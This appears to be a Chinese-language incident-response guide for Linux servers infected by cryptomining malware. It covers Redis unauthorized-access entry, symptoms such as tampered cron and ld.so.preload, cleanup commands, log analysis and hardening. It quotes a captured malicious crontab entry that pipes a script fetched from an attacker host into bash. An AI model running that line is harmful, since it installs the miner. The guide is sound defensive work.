linux挖矿入侵排查
挖矿程序会占用CPU进行超频运算,导致CPU严重损耗,并且影响服务器上的其他应用。挖矿程序还具备蠕虫化特点,当安全边界被突破时,挖矿病毒会向内网渗透,并在被入侵的服务器上持久化驻留以获取最大收益。
由于挖矿程序具有联动作用,在清理过程中会存在处理不及时或清理不干净导致挖矿病毒反复发生、出现恶意脚本替换系统命令,从而导致执行系统命令时触发恶意脚本执行(例如:xorddos)。因此,需要在挖矿程序的一个执行周期内,尽快将被入侵服务器上的木马程序和持续化后门清理干净,否则容易导致挖矿病毒频繁复发。
挖矿程序可能还存在自删除行为,或伪装成系统程序以躲避检测。如果发现该文件不存在,请检查是否存在可疑进程、定时任务或启动项。
- 参考[1]:高效运维:入侵排查应该这样做
- 参考[2]:高效运维:一起挖矿病毒事件的深度分析
- 参考[3]:阿里云:Linux系统CPU异常占用
- 参考[4]:阿里云:挖矿程序处理最佳实践
- 参考[5]:阿里云:威胁安全的常见问题
[TOC]
导致入侵的几种场景
Redis未授权访问漏洞
1.什么是Redis未授权访问漏洞?
Redis 默认情况下,会绑定在 0.0.0.0:6379。如果没有进行采用相关的策略,比如添加防火墙规则避免其他非信任来源IP访问等,就会将 Redis 服务暴露到公网上。如果在没有设置密码认证(一般为空)的情况下,会导致任意用户在可以访问目标服务器的情况下未授权访问 Redis 以及读取Redis 的数据。攻击者在未授权访问 Redis 的情况下,利用 Redis 自身的提供的config 命令,可以进行写文件操作,攻击者可以成功将自己的ssh公钥写入目标服务器的 /root/.ssh/authotrized_keys 文件中,进而可以使用对应私钥直接使用ssh服务登录目标服务器。
简单说,漏洞的产生条件有以下两点:
- Redis绑定在 0.0.0.0:6379,且没有配置防火墙规则而直接暴露在公网;
- 没有设置密码认证(一般为空),可以免密码远程登录Redis服务。
2.漏洞的危害
- 攻击者无需认证访问到内部数据,可能导致敏感信息泄露,黑客也可以恶意执行flushall来清空所有数据;
- 攻击者可通过EVAL执行lua代码,或通过数据备份功能往磁盘写入后门文件;
- 最严重的情况,如果Redis以root身份运行,黑客可以给root账户写入SSH公钥文件,直接通过SSH登录受害服务器
服务器中存在隐藏的恶意模块
黑客通过驱动rootkit程序入侵主机,并部署隐藏挖矿程序,CPU使用率可能达到90~100%。
被入侵的症状
执行 crontab -l 发现crontab被篡改
[root@localhost]# cat /var/spool/cron/*
30 23 * * * (curl -s http://w.apacheorg.top:1234/xmss||wget -q -O - http://w.apacheorg.top:1234/xmss )|bash -sh
- 修复过程:利用chattr +i对cron的3个地方的配置文件夹加锁防止被修改
chattr -ai /etc/crontab
chattr -ai -R /etc/cron.d/
chattr -ai -R /var/spool/cron
rm -rf /var/spool/cron/*
rm -rf /etc/cron.d/*
chattr +ai /etc/crontab
chattr +ai -R /etc/cron.d/
chattr +ai -R /var/spool/cron/
- 附:允许添加crontab请参考
chattr -ai -R /var/spool/cron
echo "#end" >> /var/spool/cron/`whoami`
chattr +ai -R /var/spool/cron
lsattr /var/spool/cron/
crontab -l
执行 ps -ef 发现可疑后台任务
注:crond 为守护进程(测试:systemctl stop/start crond)
[root@localhost]# ps -ef | grep cron
root 513 1 0 2020 ? 00:00:34 /usr/sbin/crond -n
root 4668 1240 0 14:48 pts/0 00:00:00 grep --color=auto cron
root 27147 27144 0 12:01 ? 00:00:00 /bin/bash /bin/run-parts /etc/cron.hourly
root 27164 27147 0 12:01 ? 00:00:00 awk -v progname=/etc/cron.hourly/oanacroner1 progname { ???? print progname ":\n" ???? progname=""; ??? } ??? { print; }
- 修复过程
kill $PID # 杀掉可疑进程id
ls -l /proc/$PID/exe # 通过PID号获取该而已文件的路径
rm -rf /etc/cron.hourly/* # 删除可疑进程文件
rm -rf /etc/cron.hourly/oanacron
rm -rf /etc/cron.daily/oanacron
rm -rf /etc/cron.monthly/oanacron
rm -rf /bin/httpdns
rm -f /tmp/crontab.*
执行 top 发现可疑进程导致部分cpu 100%
[root@localhost]# top
%Cpu0 : 99.7 us, 0.3 sy, 0.0 ni, 0.0 id, 0.0 wa, 0.0 hi, 0.0 si, 0.0 st
%Cpu1 : 1.4 us, 0.7 sy, 0.0 ni, 96.8 id, 0.7 wa, 0.0 hi, 0.4 si, 0.0 st
%Cpu2 : 99.7 us, 0.3 sy, 0.0 ni, 0.0 id, 0.0 wa, 0.0 hi, 0.0 si, 0.0 st
%Cpu3 :100.0 us, 0.0 sy, 0.0 ni, 0.0 id, 0.0 wa, 0.0 hi, 0.0 si, 0.0 st
PID USER PR NI VIRT RES SHR S %CPU %MEM TIME+ COMMAND
1877 root 20 0 11.9g 2.2g 3436 S 102.3 7.0 176717:32 java
585 root 20 0 2439716 269040 4 S 100.0 0.8 550:08.97 /usr/sbin/.libs
32037 root 20 0 2439576 6896 4 S 99.7 0.0 613:28.86 /usr/sbin/.libs
- 附:根据cpu使用率排序
top -bn 1 -i -c
ps aux|head -1;ps aux|grep -v PID|sort -rn -k +3|head
- 修复过程(以杀掉.libs进程为例)
# ps aux|grep libs|grep -v color|awk '{print $2}'|xargs kill -9 2> /dev/null
kill $PID # 杀掉可疑进程id
ls -l /proc/$PID/exe # 通过PID号获取该而已文件的路径
lsattr /usr/sbin/.libs # 查看可疑文件的文件系统属性
chattr -ai /usr/sbin/.libs # 取消可疑文件的文件系统属性
rm -rf /usr/sbin/.libs # 删除可疑进程文件
执行 ifconfig 报错发现 ld.so.preload 被篡改
2021.06.29.验证ok
[root@localhost]# ifconfig
ERROR: ld.so: object '/usr/local/lib/libs.so' from /etc/ld.so.preload cannot be preloaded: ignored.
- 修复过程
echo "" > /etc/ld.so.preload
chattr +i /etc
rm -f /usr/local/lib/lbb.so
chattr +i /usr/local/lib
ps aux|grep kworkerds|grep -v color|awk '{print $2}'|xargs kill -9 2> /dev/null
rm -rf /tmp/.tmph
rm -rf /bin/kworkerds
rm -rf /var/tmp/kworkerds*
rm -rf /var/tmp/1.so
rm -rf /tmp/kworkerds*
rm -rf /usr/sbin/kworkerds
rm -rf /etc/init.d/kworker
rm -rf /tmp/1.so
rm -f /var/tmp/wc.conf
rm -rf tmp/wc.conf
chkconfig --del kworker
iptables被关掉
iptables -nL
手动启动
sh /bin/iptables.sh
查看是否存在业务范围之外的可疑通信地址和开放端口
如果有,请修改iptables策略,如果是阿里云ECS主机,记得同步修改安全组。
iptables -nL
几种常见的挖矿程序
服务器中存在恶意minerd、tplink进程
ps -ef | egrep "(pool|launch|minerd|tplink)" | grep -v grep
入侵排查的过程
查询特权用户特权用户(uid 为0)
awk -F: '$3==0{print $1}' /etc/passwd
查询可以远程登录的帐号
awk '/\$1|\$6/{print $1}' /etc/shadow
cat /etc/passwd | grep /bin/bash
存在sudo权限的账号
如非管理需要,普通帐号应删除sudo权限:
more /etc/sudoers | grep -v "^#\|^$" | grep "ALL=(ALL)"
查看当前登录用户及登录时长
who # 查看当前登录系统的所有用户(tty 本地登陆 pts 远程登录)
w # 显示已经登录系统的所用用户,以及正在执行的指令
uptime # 查看登陆多久、多少用户,负载状态
排查用户登录信息
last # 查看最近登录成功的用户及信息
lastb # 查看最近登录失败的用户及信息
lastlog # 显示所有用户最近一次登录信息
检查端口连接情况
netstat -antlp | more # 检查端口连接情况
ps aux | grep $PID # 使用 ps 命令,根据端口号得到相应 pid 号,比如 ESTABLISHED 1452/mysqld
ls -l /proc/$PID/exe # 查看 pid 所对应的进程文件路径,1452 为对应的 pid 号
file /proc/$PID/exe # 查看 pid 所对应的进程文件路径,1452 为对应的 pid 号
lsof -p $PID # 根据pid号查看进程(安装 yum install -y lsof)
lsof -c $FILE # 通过服务名查看该进程打开的文件
lsof -i :$PID # 通过端口号查看进程
检查开机启动项
cat /etc/rc.local
ls -l /etc/rc.d/rc3.d/
查询已安装的服务
通过 RPM 包安装的服务
chkconfig --list # 查看服务自启动状态,可以看到所有的RPM包安装的服务
源码包安装的服务:服务一般安装在 /user/local/
ll /etc/rc.d/init.d/
ll /usr/local/
异常文件检查
find / -name a.Test # 根据名称查找
find / -size +1000M # 根据大小查找
find / -mtime -1 -ls | more # 查找最近一天以内修改的文件:
find / -mtime +7 -ls # 查找7天前修改的文件:
ps -ef --sort -pcpu # 按照CPU使用率从高到低排序
ps -ef --sort -pmem # 按照内存使用率从高到低排序
检查SSH公钥中是否存在挖矿病毒的异常私钥,防止出现持续后门
cat /root/.ssh/authorized_keys
系统日志分析
/var/log/wtmp # 登录进入,退出,数据交换、关机和重启纪录
/var/log/lastlog # 文件记录用户最后登录的信息,可用 lastlog 命令来查看。
/var/log/secure # 记录登入系统存取数据的文件,例如 pop3/ssh/telnet/ftp 等都会被记录。
/var/log/cron # 与定时任务相关的日志信息
/var/log/message # 系统启动后的信息和错误日志
日志分析技巧:
#.1、定位有多少IP在爆破主机的root帐号
grep "Failed password for root" /var/log/secure | awk '{print $11}' | sort | uniq -c | sort -nr | more
#.2、定位有哪些IP在爆破
grep "Failed password" /var/log/secure|grep -E -o "(25[0-5]|2[0-4][0-9]|[01]?[0-9][0-9]?)\.(25[0-5]|2[0-4][0-9]|[01]?[0-9][0-9]?)\.(25[0-5]|2[0-4][0-9]|[01]?[0-9][0-9]?)\.(25[0-5]|2[0-4][0-9]|[01]?[0-9][0-9]?)"|uniq -c
#.3、爆破用户名字典是什么
grep "Failed password" /var/log/secure|perl -e 'while($_=<>){ /for(.*?) from/; print "$1\n";}'|uniq -c|sort -nr
#.4、登录失败的日志
grep -rn 'fail' /var/log/secure
#.5、登录成功的IP有哪些
grep "Accepted " /var/log/secure | awk '{print $11}' | sort | uniq -c | sort -nr | more
#.6、登录成功的日期、用户名、IP
grep "Accepted " /var/log/secure | awk '{print $1,$2,$3,$9,$11}'
加固方案
SSH加固
- 谨慎做免密登录
- 尽量不使用默认的22端口
- 增强root密码强度
限制redis连接的ip
有很多挖矿病毒是通过Redis未认证接口进行攻击的,所以建议使用redis的同学做以下加固:
- 增加授权认证(requirepass参数)
- 尽量使用docker版本(docker pull redis)
- 修改 iptables 只允许某些特定的ip访问redis,将
iptables -A INPUT -p tcp -m state --state NEW -m tcp --dport 6379 -j ACCEPT
修改为指定ip访问
iptables -A INPUT -s xxx.xxx.xxx.xxx -p tcp --dport 6379 -j ACCEPT
注意:redis.conf 配置 bind 的含义不是要访问的服务器的ip 而是 本机用于别人访问的ip
为 history 增加登录的IP地址、执行命令时间等信息
1、保存1万条命令:
chattr -ia /etc/profile
sed -i 's/^HISTSIZE=1000/HISTSIZE=10000/g' /etc/profile
chattr +ia /etc/profile
2、在/etc/profile的文件尾部添加如下行数配置信息:
USER_IP=`who -u am i 2>/dev/null | awk '{print $NF}' | sed -e 's/[()]//g'`
if [ "$USER_IP" = "" ]
then
USER_IP=`hostname`
fi
export HISTTIMEFORMAT="%F %T $USER_IP `whoami` "
shopt -s histappend
export PROMPT_COMMAND="history -a"
3、让配置生效
source /etc/profile
不要安装来源不明的软件
不管是在个人pc还是在测试服务器上!!!
对常见挖矿进程的监控和查杀
2020.09.08.监控挖矿进程
conn=`ps -ef | egrep "(pool|launch|minerd|tplink)" | grep -v grep | grep -v ucenter_pool | grep -v pool_id | wc -l`
content="现在检测到挖矿进程请及时处理"
if [[ $conn -gt 0 ]];then
curl "http://sc.ftqq.com/SCU122343T0b7b9b0e8ad825a58cea3b4da8273fb25f9e2c9ee8274.send?text=$title&desp=$stime$content" >/dev/null 2>&1 &
fi
2020.10.18.自动杀掉常见挖矿进程
ps aux | fgrep 'pool' | grep -v ucenter_pool | grep -v pool_id | awk '{print $2}' | xargs kill -9 2> /dev/null
ps aux | fgrep 'launch' | awk '{print $2}' | xargs kill -9 2> /dev/null
ps aux | fgrep 'minerd' | awk '{print $2}' | xargs kill -9 2> /dev/null
ps aux | fgrep 'tplink' | awk '{print $2}' | xargs kill -9 2> /dev/null